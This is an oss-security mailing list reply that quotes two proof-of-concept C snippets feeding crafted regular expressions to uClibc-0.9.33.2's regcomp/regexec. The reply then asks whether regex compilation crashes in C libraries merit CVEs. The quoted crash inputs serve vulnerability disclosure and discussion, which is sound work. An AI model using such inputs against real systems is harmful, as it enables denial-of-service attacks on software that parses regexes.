|
Message-ID: <20170616204437.GC2269@hunt>
Date: Fri, 16 Jun 2017 13:44:37 -0700
From: Seth Arnold <seth.arnold@...onical.com>
To: oss-security@...ts.openwall.com
Subject: Re: two vulns in uClibc-0.9.33.2
On Fri, Jun 16, 2017 at 11:53:09AM +0800, fefe wrote:
> I found two vulns in uClibc-0.9.33.2 (https://uclibc.org/)
> [...]
> The poc code like:
>
> if(regcomp (®tmp,"(.+)upper\\1^", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
> {
> reg1match_t pmatch[1];
> regexec(®tmp, "upperupperupperx",1, pmatch, 0);
> regfree(®tmp);
> }
>
> [...]
>
> The poc code like:
>
> if(regcomp (®tmp,"\x28\x2E\x3F\x3F\x28\x2E\x3F\x29\x5C\x42\x44\x3F\x3F\x28\x2E\x5C\x32\x29\x2A\x5C\x32\x28\x2E\x3F\x29\x5C\x32\x29\x2A\x5C\x32\xBD", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
> {
> reg1match_t pmatch[1];
> regexec(®tmp, "\x72\xFF\xFF\xFF\xFF\xBD",1, pmatch, 0);
> regfree(®tmp);
> }
A question to the wider list:
Does it make sense to assign CVEs to regex compilation? Very few toolkits
handle this well, and even given how many regex toolkits use backtracking,
even 'safe' regexes can lead to essentially unbounded execution time.
Some regex engines like Rust's regex and Go's regex should handle
untrusted inputs well: they're non-backtracking engines and type-safe
languages. Hypothetical crashes like this probably would qualify for
CVEs in either of these environments. But I'm less convinced it makes
sense with C-based engines to allow untrusted inputs.
http://www.etalabs.net/compare_libcs.html suggests that uclibc's regex is
DFA-based thus it's probably intended to allow untrusted inputs -- but is
that explicitely stated as a goal anywhere?
Thanks
Download attachment "signature.asc" of type "application/pgp-signature" (474 bytes)
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.